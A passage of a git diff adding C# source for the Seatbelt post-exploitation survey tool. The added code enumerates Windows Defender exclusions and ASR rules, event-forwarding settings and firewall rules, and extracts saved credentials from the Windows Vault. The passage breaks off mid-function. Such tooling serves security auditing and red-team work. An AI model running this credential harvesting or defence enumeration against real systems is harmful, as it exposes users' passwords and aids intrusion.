untrusted and unsigned processes that run from USB"}, + { "26190899-1602-49e8-8b27-eb1d0a1ce869" , "Block Office communication applications from creating child processes"}, + { "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c" , "Block Adobe Reader from creating child processes"}, + { "e6db77e5-3df2-4cf1-b95a-636979351e5b" , "Block persistence through WMI event subscription"}, + }; + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsDefenderDTO)result; + + WriteLine("Locally-defined Settings:"); + DisplayDefenderSettings(dto.LocalSettings); + + WriteLine("\n\n\nGPO-defined Settings:"); + DisplayDefenderSettings(dto.GroupPolicySettings); + } + + void DisplayDefenderSettings(WindowsDefenderSettings settings) + { + var pathExclusions = settings.PathExclusions; + var processExclusions = settings.ProcessExclusions; + var extensionExclusions = settings.ExtensionExclusions; + var asrSettings = settings.AsrSettings; + + if (pathExclusions.Count != 0) + { + WriteLine("\n Path Exclusions:"); + foreach (var path in pathExclusions) + { + WriteLine($" {path}"); + } + } + + if (pathExclusions.Count != 0) + { + WriteLine("\n PolicyManagerPathExclusions:"); + foreach (var path in pathExclusions) + { + WriteLine($" {path}"); + } + } + + if (processExclusions.Count != 0) + { + WriteLine("\n Process Exclusions"); + foreach (var process in processExclusions) + { + WriteLine($" {process}"); + } + } + + if (extensionExclusions.Count != 0) + { + WriteLine("\n Extension Exclusions"); + foreach (var ext in extensionExclusions) + { + WriteLine($" {ext}"); + } + } + + if (asrSettings.Enabled) + { + WriteLine("\n Attack Surface Reduction Rules:\n"); + + WriteLine($" {"State",-10} Rule\n"); + foreach (var rule in asrSettings.Rules) + { + string state; + if (rule.State == 0) + state = "Disabled"; + else if (rule.State == 1) + state = "Blocked"; + else if (rule.State == 2) + state = "Audited"; + else + state = $"{rule.State} - Unknown"; + + var asrRule = _AsrGuids.ContainsKey(rule.Rule.ToString()) + ? _AsrGuids[rule.Rule.ToString()] + : $"{rule.Rule} - Please report this"; + + WriteLine($" {state,-10} {asrRule}"); + } + + if (asrSettings.Exclusions.Count > 0) + { + WriteLine("\n ASR Exclusions:"); + foreach (var exclusion in asrSettings.Exclusions) + { + WriteLine($" {exclusion}"); + } + } + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsEventForwardingCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsEventForwardingCommand.cs new file mode 100644 index 0000000..2d9cdd6 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsEventForwardingCommand.cs @@ -0,0 +1,72 @@ +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class WindowsEventForwardingCommand : CommandBase + { + public override string Command => "WindowsEventForwarding"; + public override string Description => "Windows Event Forwarding (WEF) settings via the registry"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public WindowsEventForwardingCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + + var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager"); + + if (settings != null) + { + foreach (var kvp in settings) + { + if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == "System.String")) + { + var result = string.Join(",", (string[])kvp.Value); + WriteHost(" {0,-30} : {1}", kvp.Key, result); + yield return new WindowsEventForwardingDTO(kvp.Key, result); + } + else + { + WriteHost(" {0,-30} : {1}", kvp.Key, kvp.Value); + yield return new WindowsEventForwardingDTO(kvp.Key, kvp.Value.ToString()); + } + } + } + } + + internal class WindowsEventForwardingDTO : CommandDTOBase + { + public WindowsEventForwardingDTO(string key, string value) + { + Key = key; + Value = value; + } + public string Key { get; } + public string Value { get; } + } + + [CommandOutputType(typeof(WindowsEventForwardingDTO))] + internal class WindowsEventForwardingFormatter : TextFormatterBase + { + public WindowsEventForwardingFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsEventForwardingDTO)result; + + WriteLine(" {0,-30} : {1}", dto.Key, dto.Value); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsFirewallCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsFirewallCommand.cs new file mode 100644 index 0000000..98de475 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsFirewallCommand.cs @@ -0,0 +1,394 @@ +using System; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Microsoft.Win32; + +namespace Seatbelt.Commands.Windows +{ + enum FirewallAction + { + ALLOW = 0, + BLOCK = 1 + } + + internal class WindowsFirewallCommand : CommandBase + { + public override string Command => "WindowsFirewall"; + public override string Description => "Non-standard firewall rules, \"-full\" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)"; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public WindowsFirewallCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // lists local firewall policies and rules + // by default, only "deny" result are output unless "-full" is passed + + var directionArgs = new List(); + var protocolsArgs = new List(); + var actionArgs = new List(); + var profileArgs = new List(); + + foreach (var arg in args) + { + if (arg.ToLower().Equals("allow")) + { + actionArgs.Add("Allow"); + } + else if (arg.ToLower().Equals("deny") || arg.ToLower().Equals("block")) + { + actionArgs.Add("Block"); + } + else if (arg.ToLower().Equals("tcp")) + { + protocolsArgs.Add("TCP"); + } + else if (arg.ToLower().Equals("udp")) + { + protocolsArgs.Add("UDP"); + } + else if (arg.ToLower().Equals("in")) + { + directionArgs.Add("In"); + } + else if (arg.ToLower().Equals("out")) + { + directionArgs.Add("Out"); + } + else if (arg.ToLower().Equals("domain")) + { + profileArgs.Add("Domain"); + } + else if (arg.ToLower().Equals("private")) + { + profileArgs.Add("Private"); + } + else if (arg.ToLower().Equals("public")) + { + profileArgs.Add("Public"); + } + } + + WriteHost(Runtime.FilterResults ? "Collecting Windows Firewall Non-standard Rules\n\n" : "Collecting all Windows Firewall Rules\n\n"); + + // Translates Windows protocol numbers to strings + var protocols = new Dictionary() + { + { "0", "HOPOPT" }, { "1", "ICMP" }, { "2", "IGMP" }, { "3", "GGP" }, { "4", "IPv4" }, { "5", "ST" }, { "6", "TCP" }, { "7", "CBT" }, { "8", "EGP" }, { "9", "IGP" }, { "10", "BBN-RCC-MON" }, { "11", "NVP-II" }, { "12", "PUP" }, { "13", "ARGUS" }, { "14", "EMCON" }, { "15", "XNET" }, { "16", "CHAOS" }, { "17", "UDP" }, { "18", "MUX" }, { "19", "DCN-MEAS" }, { "20", "HMP" }, { "21", "PRM" }, { "22", "XNS-IDP" }, { "23", "TRUNK-1" }, { "24", "TRUNK-2" }, { "25", "LEAF-1" }, { "26", "LEAF-2" }, { "27", "RDP" }, { "28", "IRTP" }, { "29", "ISO-TP4" }, { "30", "NETBLT" }, { "31", "MFE-NSP" }, { "32", "MERIT-INP" }, { "33", "DCCP" }, { "34", "3PC" }, { "35", "IDPR" }, { "36", "XTP" }, { "37", "DDP" }, { "38", "IDPR-CMTP" }, { "39", "TP++" }, { "40", "IL" }, { "41", "IPv6" }, { "42", "SDRP" }, { "43", "IPv6-Route" }, { "44", "IPv6-Frag" }, { "45", "IDRP" }, { "46", "RSVP" }, { "47", "GRE" }, { "48", "DSR" }, { "49", "BNA" }, { "50", "ESP" }, { "51", "AH" }, { "52", "I-NLSP" }, { "53", "SWIPE" }, { "54", "NARP" }, { "55", "MOBILE" }, { "56", "TLSP" }, { "57", "SKIP" }, { "58", "IPv6-ICMP" }, { "59", "IPv6-NoNxt" }, { "60", "IPv6-Opts" }, { "61", "any host" }, { "62", "CFTP" }, { "63", "any local" }, { "64", "SAT-EXPAK" }, { "65", "KRYPTOLAN" }, { "66", "RVD" }, { "67", "IPPC" }, { "68", "any distributed file system" }, { "69", "SAT-MON" }, { "70", "VISA" }, { "71", "IPCV" }, { "72", "CPNX" }, { "73", "CPHB" }, { "74", "WSN" }, { "75", "PVP" }, { "76", "BR-SAT-MON" }, { "77", "SUN-ND" }, { "78", "WB-MON" }, { "79", "WB-EXPAK" }, { "80", "ISO-IP" }, { "81", "VMTP" }, { "82", "SECURE-VMTP" }, { "83", "VINES" }, { "84", "TTP" }, { "85", "NSFNET-IGP" }, { "86", "DGP" }, { "87", "TCF" }, { "88", "EIGRP" }, { "89", "OSPFIGP" }, { "90", "Sprite-RPC" }, { "91", "LARP" }, { "92", "MTP" }, { "93", "AX.25" }, { "94", "IPIP" }, { "95", "MICP" }, { "96", "SCC-SP" }, { "97", "ETHERIP" }, { "98", "ENCAP" }, { "99", "any private encryption scheme" }, { "100", "GMTP" }, { "101", "IFMP" }, { "102", "PNNI" }, { "103", "PIM" }, { "104", "ARIS" }, { "105", "SCPS" }, { "106", "QNX" }, { "107", "A/N" }, { "108", "IPComp" }, { "109", "SNP" }, { "110", "Compaq-Peer" }, { "111", "IPX-in-IP" }, { "112", "VRRP" }, { "113", "PGM" }, { "114", "0-hop" }, { "115", "L2TP" }, { "116", "DDX" }, { "117", "IATP" }, { "118", "STP" }, { "119", "SRP" }, { "120", "UTI" }, { "121", "SMP" }, { "122", "SM" }, { "123", "PTP" }, { "124", "ISIS" }, { "125", "FIRE" }, { "126", "CRTP" }, { "127", "CRUDP" }, { "128", "SSCOPMCE" }, { "129", "IPLT" }, { "130", "SPS" }, { "131", "PIPE" }, { "132", "SCTP" }, { "133", "FC" }, { "134", "RSVP-E2E-IGNORE" }, { "135", "Mobility" }, { "136", "UDPLite" }, { "137", "MPLS-in-IP" }, { "138", "manet" }, { "139", "HIP" }, { "140", "Shim6" }, { "141", "WESP" }, { "142", "ROHC" }, { "143", "Unassigned" }, { "253", "Experimentation" }, { "254", "Experimentation" }, { "255", "Reserved" } + }; + + // base locations to search + // omitted - @"SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy" + string[] ruleLocations = { @"SOFTWARE\Policies\Microsoft\WindowsFirewall", @"SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy" }; + foreach (var ruleLocation in ruleLocations) + { + var FirewallRules = ThisRunTime.GetValues(RegistryHive.LocalMachine, String.Format("{0}\\FirewallRules", ruleLocation)); + if (FirewallRules != null) + { + var output = new WindowsFirewallDTO(ruleLocation); + + var DomainProfileEnabled = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\DomainProfile", ruleLocation), "EnableFirewall"); + if (DomainProfileEnabled != null) + { + output.Domain.Present = true; + var DomainProfileInboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\DomainProfile", ruleLocation), "DefaultInboundAction"); + var DomainProfileOutboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\DomainProfile", ruleLocation), "DefaultOutboundAction"); + var DomainProfileDisableNotifications = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\DomainProfile", ruleLocation), "DisableNotifications"); + + output.Domain.Enabled = DomainProfileEnabled == 1; + if (DomainProfileEnabled != null) + { + if (DomainProfileDisableNotifications != null) + { + output.Domain.DisableNotifications = DomainProfileDisableNotifications == 1; + } + if (DomainProfileInboundAction != null) + { + output.Domain.DefaultInboundAction = (FirewallAction)DomainProfileInboundAction; + } + if (DomainProfileOutboundAction != null) + { + output.Domain.DefaultOutboundAction = (FirewallAction)DomainProfileOutboundAction; + } + } + } + + + var PublicProfileEnabled = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PublicProfile", ruleLocation), "EnableFirewall"); + if (PublicProfileEnabled != null) + { + output.Public.Present = true; + var PublicProfileInboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PublicProfile", ruleLocation), "DefaultInboundAction"); + var PublicProfileOutboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PublicProfile", ruleLocation), "DefaultOutboundAction"); + var PublicProfileDisableNotifications = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PublicProfile", ruleLocation), "DisableNotifications"); + + output.Public.Enabled = PublicProfileEnabled == 1; + if (PublicProfileDisableNotifications != null) + { + output.Public.DisableNotifications = PublicProfileDisableNotifications == 1; + } + if (PublicProfileInboundAction != null) + { + output.Public.DefaultInboundAction = (FirewallAction)PublicProfileInboundAction; + } + if (PublicProfileOutboundAction != null) + { + output.Public.DefaultOutboundAction = (FirewallAction)PublicProfileOutboundAction; + } + } + + + var PrivateProfileEnabled = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PrivateProfile", ruleLocation), "EnableFirewall"); + if (PrivateProfileEnabled != null) + { + output.Private.Present = true; + var PrivateProfileInboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PrivateProfile", ruleLocation), "DefaultInboundAction"); + var PrivateProfileOutboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PrivateProfile", ruleLocation), "DefaultOutboundAction"); + var PrivateProfileDisableNotifications = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\PrivateProfile", ruleLocation), "DisableNotifications"); + + output.Private.Enabled = PrivateProfileEnabled == 1; + if (PrivateProfileDisableNotifications != null) + { + output.Private.DisableNotifications = PrivateProfileDisableNotifications == 1; + } + if (PrivateProfileInboundAction != null) + { + output.Private.DefaultInboundAction = (FirewallAction)PrivateProfileInboundAction; + } + if (PrivateProfileOutboundAction != null) + { + output.Private.DefaultOutboundAction = (FirewallAction)PrivateProfileOutboundAction; + } + } + + + var StandardProfileEnabled = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\StandardProfile", ruleLocation), "EnableFirewall"); + if (StandardProfileEnabled != null) + { + output.Standard.Present = true; + var StandardProfileInboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\StandardProfile", ruleLocation), "DefaultInboundAction"); + var StandardProfileOutboundAction = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\StandardProfile", ruleLocation), "DefaultOutboundAction"); + var StandardProfileDisableNotifications = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, String.Format("{0}\\StandardProfile", ruleLocation), "DisableNotifications"); + + output.Standard.Enabled = StandardProfileEnabled == 1; + if (StandardProfileDisableNotifications != null) + { + output.Standard.DisableNotifications = StandardProfileDisableNotifications == 1; + } + if (StandardProfileInboundAction != null) + { + output.Standard.DefaultInboundAction = (FirewallAction)StandardProfileInboundAction; + } + if (StandardProfileOutboundAction != null) + { + output.Standard.DefaultOutboundAction = (FirewallAction)StandardProfileOutboundAction; + } + } + + foreach (var kvp in FirewallRules) + { + var rule = new WindowsFirewallRule(); + + var props = ((string)kvp.Value).Split('|'); + foreach (var prop in props) + { + var onv = prop.Split('='); + // The first argument is the version number, which doesn't have a value. That number should not be parsed + if (onv.Length == 1) + { + continue; + } + string key = onv[0], value = onv[1]; + switch (onv[0]) + { + case "Action": + rule.Action = value; + break; + case "Active": + break; + case "Dir": + rule.Direction = value; + break; + case "Protocol": + rule.Protocol = protocols[value]; + break; + case "Name": + rule.Name = value; + break; + case "Desc": + rule.Description = value; + break; + case "App": + rule.ApplicationName = value; + break; + case "Profile": + rule.Profiles = value; + break; + case "RPort": + rule.RemotePorts = value; + break; + case "LPort": + rule.LocalPorts = value; + break; + case "RA4": + rule.RemoteAddresses = value; + break; + case "LA4": + rule.LocalAddresses = value; + break; + } + } + + if ( + !Runtime.FilterResults || + ( + ( + ((actionArgs.Count == 0 && protocolsArgs.Count == 0 && directionArgs.Count == 0 && profileArgs.Count == 0) && + !rule.Name.StartsWith("@") && + !rule.Name.Equals("Shell Input Application") && + rule.Action.Equals("Block")) + ) || + ( + (actionArgs.Contains("Allow") && (rule.Action == "Allow")) || + (actionArgs.Contains("Block") && (rule.Action == "Block")) || + (protocolsArgs.Contains("TCP") && (rule.Protocol == "TCP")) || + (protocolsArgs.Contains("UDP") && (rule.Protocol == "UDP")) || + (directionArgs.Contains("In") && (rule.Direction == "In")) || + (directionArgs.Contains("Out") && (rule.Direction == "Out")) || + (profileArgs.Contains("Domain") && (rule.Profiles.Trim() == "Domain")) || + (profileArgs.Contains("Private") && (rule.Profiles.Trim() == "Private")) || + (profileArgs.Contains("Public") && (rule.Profiles.Trim() == "Public")) + ) + ) + ) + { + output.Rules.Add(rule); + } + } + + yield return output; + } + } + } + + internal class WindowsFirewallProfileSettings + { + public bool Present { get; set; } + public bool Enabled { get; set; } + public FirewallAction DefaultInboundAction { get; set; } + public FirewallAction DefaultOutboundAction { get; set; } + public bool DisableNotifications { get; set; } + } + + internal class WindowsFirewallRule + { + public string Name { get; set; } = string.Empty; + public string Description { get; set; } = string.Empty; + public string ApplicationName { get; set; } = string.Empty; + public string Protocol { get; set; } = string.Empty; + public string Action { get; set; } = string.Empty; + public string Direction { get; set; } = string.Empty; + public string Profiles { get; set; } = string.Empty; + public string LocalAddresses { get; set; } = string.Empty; + public string LocalPorts { get; set; } = string.Empty; + public string RemoteAddresses { get; set; } = string.Empty; + public string RemotePorts { get; set; } = string.Empty; + } + + internal class WindowsFirewallDTO : CommandDTOBase + { + public WindowsFirewallDTO(string location) + { + Domain = new WindowsFirewallProfileSettings(); + Private = new WindowsFirewallProfileSettings(); + Public = new WindowsFirewallProfileSettings(); + Standard = new WindowsFirewallProfileSettings(); + Rules = new List(); + Location = location; + } + + public String Location { get; set; } + public WindowsFirewallProfileSettings Domain { get; set; } + public WindowsFirewallProfileSettings Private { get; set; } + public WindowsFirewallProfileSettings Public { get; set; } + public WindowsFirewallProfileSettings Standard { get; set; } + public List Rules { get; set; } + } + + + [CommandOutputType(typeof(WindowsFirewallDTO))] + internal class AuditPolicyTextFormatter : TextFormatterBase + { + public AuditPolicyTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsFirewallDTO)result; + + WriteLine("Location : {0}\n", dto.Location); + + if (dto.Domain.Present) + { + WriteLine("Domain Profile"); + WriteLine(" Enabled : {0}", dto.Domain.Enabled); + WriteLine(" DisableNotifications : {0}", dto.Domain.DisableNotifications); + WriteLine(" DefaultInboundAction : {0}", dto.Domain.DefaultInboundAction); + WriteLine(" DefaultOutboundAction : {0}\n", dto.Domain.DefaultOutboundAction); + } + + if (dto.Private.Present) + { + WriteLine("Private Profile"); + WriteLine(" Enabled : {0}", dto.Private.Enabled); + WriteLine(" DisableNotifications : {0}", dto.Private.DisableNotifications); + WriteLine(" DefaultInboundAction : {0}", dto.Private.DefaultInboundAction); + WriteLine(" DefaultOutboundAction : {0}\n", dto.Private.DefaultOutboundAction); + } + + if (dto.Public.Present) + { + WriteLine("Public Profile"); + WriteLine(" Enabled : {0}", dto.Public.Enabled); + WriteLine(" DisableNotifications : {0}", dto.Public.DisableNotifications); + WriteLine(" DefaultInboundAction : {0}", dto.Public.DefaultInboundAction); + WriteLine(" DefaultOutboundAction : {0}\n", dto.Public.DefaultOutboundAction); + } + + if (dto.Standard.Present) + { + WriteLine("Standard Profile"); + WriteLine(" Enabled : {0}", dto.Standard.Enabled); + WriteLine(" DisableNotifications : {0}", dto.Standard.DisableNotifications); + WriteLine(" DefaultInboundAction : {0}", dto.Standard.DefaultInboundAction); + WriteLine(" DefaultOutboundAction : {0}\n", dto.Standard.DefaultOutboundAction); + } + + if (dto.Rules.Count > 0) + { + WriteLine("Rules:\n"); + + foreach (var rule in dto.Rules) + { + WriteLine(" Name : {0}", rule.Name); + WriteLine(" Description : {0}", rule.Description); + WriteLine(" ApplicationName : {0}", rule.ApplicationName); + WriteLine(" Protocol : {0}", rule.Protocol); + WriteLine(" Action : {0}", rule.Action); + WriteLine(" Direction : {0}", rule.Direction); + WriteLine(" Profiles : {0}", rule.Profiles); + WriteLine(" Local Addr:Port : {0}:{1}", rule.LocalAddresses, rule.LocalPorts); + WriteLine(" Remote Addr:Port : {0}:{1}\n", rule.RemoteAddresses, rule.RemotePorts); + } + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsVaultCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsVaultCommand.cs new file mode 100644 index 0000000..1f073d4 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/WindowsVaultCommand.cs @@ -0,0 +1,392 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Threading; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using static Seatbelt.VaultCli; + + +namespace Seatbelt.Commands.Windows +{ + class VaultEntry + { + public Guid SchemaGuidId { get; set; } + public VaultItemValue? Resource { get; set; } + public VaultItemValue? Identity { get; set; } + + public VaultItemValue? PackageSid { get; set; } + + public VaultItemValue? Credential { get; set; } + + public DateTime LastModifiedUtc { get; set; } + } + + internal class WindowsVaultCommand : CommandBase + { + public override string Command => "WindowsVault"; + public override string Description => "Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge)."; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // not possible + + private readonly Dictionary VaultSchema = new Dictionary + { + { new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note" }, + { new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential" }, + { new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector" }, + { new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials" }, + { new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials" }, + { new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential" }, + { new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential" }, + { new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential" }, + { new Guid("00000000-0000-0000-0000-000000000000"), "" } + }; + + public WindowsVaultCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs + + var vaultCount = 0; + var vaultGuidPtr = IntPtr.Zero; + var result = VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr); + + var vaultItemType = Environment.OSVersion.Version > new Version("6.2") ? + typeof(VAULT_ITEM_WIN8) : + typeof(VAULT_ITEM_WIN7); + + if (result != 0) + { + WriteError($"Unable to enumerate vaults. Error code: {result}"); + yield break; + } + + // Create dictionary to translate Guids to human readable elements + var guidAddress = vaultGuidPtr; + + + for (var i = 0; i < vaultCount; i++) + { + // Open vault block + var vaultGuidString = Marshal.PtrToStructure(guidAddress, typeof(Guid)); + var vaultGuid = new Guid(vaultGuidString.ToString()); + guidAddress = (IntPtr)(guidAddress.ToInt64() + Marshal.SizeOf(typeof(Guid))); + var vaultHandle = IntPtr.Zero; + + var vaultType = VaultSchema.ContainsKey(vaultGuid) ? + VaultSchema[vaultGuid] : + vaultGuid.ToString(); + + result = VaultOpenVault(ref vaultGuid, (uint)0, ref vaultHandle); + if (result != 0) + { + WriteError($"Unable to open the following vault(GUID: {vaultGuid}: {vaultType} . Error code: {result}"); + continue; + } + // Vault opened successfully! Continue. + + var entries = new List(); + + // Fetch all items within Vault + var vaultItemCount = 0; + var vaultItemPtr = IntPtr.Zero; + result = VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr); + if (result != 0) + { + WriteError($"Unable to enumerate vault items from the following vault: {vaultType}. Error code: {result}"); + continue; + } + var currentVaultItem = vaultItemPtr; + if (vaultItemCount > 0) + { + // For each vault item... + for (var j = 1; j <= vaultItemCount; j++) + { + var entry = ParseVaultItem(vaultHandle, vaultGuid, currentVaultItem); + + //if (Runtime.FilterResults && string.IsNullOrEmpty(entry.Credential)) + // continue; + + entries.Add(entry); + + currentVaultItem = (IntPtr)(currentVaultItem.ToInt64() + Marshal.SizeOf(vaultItemType)); + } + } + + yield return new WindowsVaultDTO( + vaultGuid, + vaultType, + entries + ); + } + } + + private void GetVaultItem(IntPtr vaultHandle, IntPtr vaultItemPtr, out Guid schemaId, out IntPtr? pPackageSid, out IntPtr pResourceElement, out IntPtr pIdentityElement, out ulong lastModified, out IntPtr pAuthenticatorElement) + { + int result; + var OSVersion = Environment.OSVersion.Version; + //if (OSMajor >= 6 && OSMinor >= 2) + var vaultItemType = OSVersion > new Version("6.2") ? + typeof(VAULT_ITEM_WIN8) : + typeof(VAULT_ITEM_WIN7); + + // Begin fetching vault item... + var currentItem = Marshal.PtrToStructure(vaultItemPtr, vaultItemType); + + // Field Info retrieval + var schemaIdField = currentItem.GetType().GetField("SchemaId"); + var tempSchemaGuidId = new Guid(schemaIdField.GetValue(currentItem).ToString()); + + var pResourceElementField = currentItem.GetType().GetField("pResourceElement"); + var tempResourceElement = (IntPtr)pResourceElementField.GetValue(currentItem); + + var pIdentityElementField = currentItem.GetType().GetField("pIdentityElement"); + var tempIdentityElement = (IntPtr)pIdentityElementField.GetValue(currentItem); + + var lastModifiedField = currentItem.GetType().GetField("LastModified"); + var tempLastModified = (ulong)lastModifiedField.GetValue(currentItem); + + // Newer versions have package sid + IntPtr? tempPackageSid = null; + if (vaultItemType == typeof(VAULT_ITEM_WIN8)) + { + var pPackageSidInfo = currentItem.GetType().GetField("pPackageSid"); + tempPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem); + } + + + var passwordVaultItem = IntPtr.Zero; + result = vaultItemType == typeof(VAULT_ITEM_WIN8) ? + VaultGetItem_WIN8(vaultHandle, ref tempSchemaGuidId, tempResourceElement, tempIdentityElement, tempPackageSid ?? IntPtr.Zero, IntPtr.Zero, 0, ref passwordVaultItem) : + VaultGetItem_WIN7(vaultHandle, ref tempSchemaGuidId, tempResourceElement, tempIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem); + + if (result != 0) + throw new Exception($"Could not retrieve vault vault item. Error code: {result}"); + + // Return values + schemaId = tempSchemaGuidId; + pPackageSid = tempPackageSid; + pResourceElement = tempResourceElement; + pIdentityElement = tempIdentityElement; + lastModified = tempLastModified; + + var passwordItem = Marshal.PtrToStructure(passwordVaultItem, vaultItemType); + var pAuthenticatorElementInfo = passwordItem.GetType().GetField("pAuthenticatorElement"); + pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem); + } + + private VaultEntry ParseVaultItem(IntPtr vaultHandle, Guid vaultGuid, IntPtr vaultItemPtr) + { + GetVaultItem(vaultHandle, vaultItemPtr,out var schemaGuid, out var pPackageSid, out var pResourceElement, out var pIdentityElement, out var lastModified, out var pAuthenticatorElement); + + // Cred + VaultItemValue? cred = null; + try + { + // Fetch the credential from the authenticator element + cred = GetVaultElementValue(pAuthenticatorElement); + } + catch (NotImplementedException e) + { + WriteError($"Could not parse authenticator for Vault GUID {vaultGuid}: {e}"); + } + + + // Package SID + VaultItemValue? packageSid = null; + if (pPackageSid != null && pPackageSid != IntPtr.Zero) + { + try + { + packageSid = GetVaultElementValue(pPackageSid.Value); + } + catch (NotImplementedException e) + { + WriteError($"Could not parse package SID for Vault GUID {vaultGuid}: {e}"); + } + } + + + // Resource + VaultItemValue? resource = null; + try + { + resource = GetVaultElementValue(pResourceElement); + } + catch (NotImplementedException e) + { + WriteError($"Could not parse authenticator for Vault GUID {vaultGuid}: {e}"); + } + + + VaultItemValue? identity = null; + try + { + identity = GetVaultElementValue(pIdentityElement); + } + catch (NotImplementedException e) + { + WriteError($"Could not parse identity for Vault GUID {vaultGuid}: {e}"); + } + + return new VaultEntry + { + SchemaGuidId = schemaGuid, + Identity = identity, + Resource = resource, + Credential = cred, + PackageSid = packageSid, + LastModifiedUtc = DateTime.FromFileTimeUtc((long)lastModified) + }; + } + + private VaultItemValue GetVaultElementValue(IntPtr vaultElementPtr) + { + object value; + + var item = (VAULT_ITEM_ELEMENT)Marshal.PtrToStructure(vaultElementPtr, typeof(VAULT_ITEM_ELEMENT)); + + // Types: https://github.com/SpiderLabs/portia/blob/master/modules/Get-VaultCredential.ps1#L40-L54 + var elementPtr = (IntPtr)(vaultElementPtr.ToInt64() + 16); + switch (item.Type) + { + case VAULT_ELEMENT_TYPE.Boolean: + value = Marshal.ReadByte(elementPtr); + value = (bool)value; + break; + case VAULT_ELEMENT_TYPE.Short: + value = Marshal.ReadInt16(elementPtr); + break; + case VAULT_ELEMENT_TYPE.UnsignedShort: + value = Marshal.ReadInt16(elementPtr); + break; + case VAULT_ELEMENT_TYPE.Int: + value = Marshal.ReadInt32(elementPtr); + break; + case VAULT_ELEMENT_TYPE.UnsignedInt: + value = Marshal.ReadInt32(elementPtr); + break; + case VAULT_ELEMENT_TYPE.Double: + value = Marshal.PtrToStructure(elementPtr, typeof(double)); + break; + case VAULT_ELEMENT_TYPE.Guid: + value = Marshal.PtrToStructure(elementPtr, typeof(Guid)); + break; + case VAULT_ELEMENT_TYPE.String: + var StringPtr = Marshal.ReadIntPtr(elementPtr); + value = 